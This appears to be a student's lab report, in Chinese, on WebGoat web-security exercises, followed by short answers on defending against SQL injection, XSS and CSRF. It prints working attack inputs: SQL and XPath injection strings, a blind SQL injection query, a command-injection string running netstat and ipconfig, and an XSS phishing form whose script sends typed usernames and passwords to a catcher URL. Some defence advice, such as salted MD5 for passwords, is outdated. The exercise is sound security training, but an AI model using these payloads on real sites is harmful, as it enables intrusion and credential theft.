2017-2018-2 20155225《网络对抗技术》实验九 Web安全基础

WebGoat

1.String SQL Injection

题目是想办法得到数据库所有人的信用卡号,用Smith登录后,得到Smith的两个信用卡号,如图

但如何才能得到所有人的信用卡号呢?

只需要输入' or 1 = ' 1,这样构造可以将引号闭合,再or上一个永真式,就能屏蔽掉前面的条件。

2、Log Spoofing

在User Name中以这种格式注入:Use CR (%0d) and LF (%0a) for a new line。比如输入20155225jzy%0d%0aLogin succeeded !

3、Numeric SQL Injection

这个题目也是要得到数据库全部天气数据,但没有一个可以输入的文本框怎么办呢?

查看页面源代码,在输入下拉框中,向后台提交value值,所以只需在后面加上or 1=1 永真式即可。

登录成功:

4、Command Injection

还是可以用修改页面源码的方法。在后面加上能够在目标主机上执行的命令:"& netstat -an & ipconfig"

可见直接改变了下拉框选项,里面出现了我们希望系统执行的命令。

成功:

5、Stage 1:String SQL Injection

开始我们想在密码框输入' or 1=1 --注入,但是失败了。查看网页源码发现,对密码框输入进行了限制。

修改密码限制之后,成功登录:

6、XPATH Injection

这是一个职员私人数据查询系统,我们的目的是看到其他职员的信息。

XPath 是一门在 XML 文档中查找信息的语言。除了在输入1 = 1以外,还需要选择一个XML节点,输入'a' = 'a。

所以只需在User Name输入20155225jzy' or 1=1 or 'a'='a

在Password输入20155225jzy即可成功获得所用员工信息。

7、Blind String SQL Injection

使用盲字符串SQL注入进行爆破,感觉这个好难啊,不太明白逻辑,所以去看了一下答案。

解决方法是通过将一个布尔表达式注入到预脚本SQL查询中来找出名称。

首先是和H比较:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );返回false并显示无效账号。

变成< 'L' 会返回true,这样我们就知道这个字母是在H和Lz之间。再经过几次查询就能判断出第一个字母是J。

同理,最终可以推出用户名是Jill。

8、Phishing with XSS

用XSS和HTML注入,在搜索框注入下面这段html:

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

然后会看到一个可以输入用户名密码的表单,直接点击登录。WebGoat会将输入的信息捕获并反馈回来,攻击成功。

9、Stored XSS Attacks

这是存储型XSS攻击。在Title里输入学号,在Message里输入<script>alert("20155225 attack succeed!");</script>攻击成功。

10、Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。如图:

基础问题回答

1、SQL注入攻击原理,如何防御

SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,

通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。

预防方法:

1、首先要对输入的数据进行过滤,将常见的sql语句的关键词:select or ' " 等字符进行过滤。

2、对在数据库中对密码进行加密,验证登陆的时候先将 密码进行加密再与数据库中加密的密码进行对比,若此时一致则基本是安全的。

3、对数据库中密码采用常用的MD5加密时尽量在字符串的前边和后边加上指定字符后在进行加密,这样即便是看到了数据库也很难破解密码。

2、XSS攻击的原理,如何防御

XSS是Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。  

  XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义

  

  预防方法:

  

  当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

3、XSRF攻击原理,如何防御

预防方法:

(1).Cookie Hashing(所有表单都包含同一个伪随机值):

这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:在表单里增加Hash值,以认证这确实是用户发送的请求。然后在服务器端进行Hash值验证

  (2).验证码

  这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串。

  (3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

  

总结

通过这次实验,我了解到web攻击的一些基本内容,也感受到web安全有很广阔的探索空间,希望以后还会有机会继续学习。

2017-2018-2 20155225《网络对抗技术》实验九 Web安全基础的更多相关文章

  1. 20155201 网络攻防技术 实验九 Web安全基础

    20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...

  2. 20155328 《网络对抗》 实验九 Web安全

    20155328 <网络对抗> 实验九 Web安全 基础 实验过程记录 在实验开始之前先把webgoat的jar包放到home目录下.打开终端,用命令java -jar webgoat-c ...

  3. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  4. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  5. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

  6. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  7. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  8. 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...

  9. 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...

  10. 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

    2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...

随机推荐

  1. vue切换路由页面内容没有重载

    项目中遇到这样一个问题: 在一个地方填了一个申请的表单,需要在另一个页面的列表上显示出来这条申请的数据,但是由于vue的缓存,在切换路由时列表上并没有及时更新数据,解决方法如下: vue路由切换时页面 ...

  2. Linux记录-清空文件内容

    $ : > filename $ > filename $ echo "" > filename $ echo > filename $ cat /dev/ ...

  3. js 锚点定位【转】

    锚点定义 <a name="firstAnchor">&nsbp;</a> a标签锚点使用 <a href="#firstAncho ...

  4. 解决logstash启动缓慢问题

    在部署logstash时,头几次启动时长还可以,最后高达半小时以上启动启动不了,上网查资料说,系统的“熵”过低,导致jruby启动缓慢.需要安装haveged.但是我安装完后还是慢 https://h ...

  5. 【JUC】CopyOnWriteArrayList

    写入时复制(CopyOnWrite) 什么是CopyOnWrite容器 CopyOnWrite容器即写时复制的容器.通俗的理解是当我们往一个容器添加元素的时候,不直接往当前容器添加,而是先将当前容器进 ...

  6. 矩阵乘法np.dot()及np.multipy()区别

    1. 线性代数中矩阵乘法: np.dot() import numpy as np ​ # 2 x 3 matrix1 = np.array([[1, 2, 3], [4, 5, 6]]) ​ # 3 ...

  7. Jmeter调用 Json接口测试之关键点申明Content-Type类型

    背景: 最近,在做接口测试发现创建运单接口,通过普通表单请求总是失败,开始我以为是后端接口出现问题,但通过前端页面都能创建运单,F12打开浏览器开发者模式,获取该接口请求入参发现,请求的数据格式是js ...

  8. mysql的事件

    mysql的事件定时器的使用: SHOW VARIABLES LIKE 'event_scheduler' --查询event_scheduler开启状态 SET GLOBAL event_sched ...

  9. C#使用Font Awesome字体

    这个类是一个开源类,我做了一些功能优化1.如果没有安装Font Awesome字体,可能需要直接去exe路径下使用对应名称字体.2.可以直接返回\uFxxx类型字体,方便winform按钮使用,不然的 ...

  10. 22. SpringBoot 集成 Mybatis

    1. 引入Mybatis的maven 依赖 <dependency> <groupId>org.mybatis.spring.boot</groupId> < ...